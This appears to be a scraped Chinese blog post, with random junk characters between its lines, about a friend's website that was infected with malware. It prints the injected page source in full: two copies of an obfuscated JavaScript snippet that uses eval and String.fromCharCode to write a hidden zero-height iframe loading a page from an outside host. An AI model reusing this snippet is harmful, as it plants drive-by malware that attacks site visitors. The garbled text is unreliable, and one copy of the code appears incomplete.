首发在我的博客里面,
?KWo1 @SI,V8i http://www.areway.cn/?p=175 dsg-;*% /CUBs! ]_`ICS 周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码:
tNQACM8F; R7A:K]iJ5 <script>t=’60,105,102,114,97,109,101,
5n[''#D 32,115,114,99,61,104,116,116,112,58,47,47,
k\r^GB
102,114,101,101,46,117,45,117,117,117,46,99,
lx7]rkWo|a 110,47,101,114,114,111,114,46,104,116,109,
e|q~t
{=9S 32,119,105,100,116,104,61,49,48,48,32,104,
ornU8H` 101,105,103,104,116,61,48,62,60,47,105,102,
V{fG~19
114,97,109,101,62′;
j@{ B 8 t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
I]%Kd(' 0es\
j6c <script>t=’60,105,102,114,97,109,101,32,115,
j9X|c7| 114,99,61,104,116,116,112,58,47,47,102,114,
vnS8N 101,101,46,117,45,117,117,117,46,99,110,47,
tns4 e\ 101,114,114,111,114,46,104,116,109,32,119,
f@k.4aS 105,100,116,104,61,49,48,48,32,104,101,105,
!="8ok+ 103,104,116,61,48,62,60,47,105,102,114,97,
<*9(m 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
bwa*|{R document.write(t);</script>
>uDC!0)R &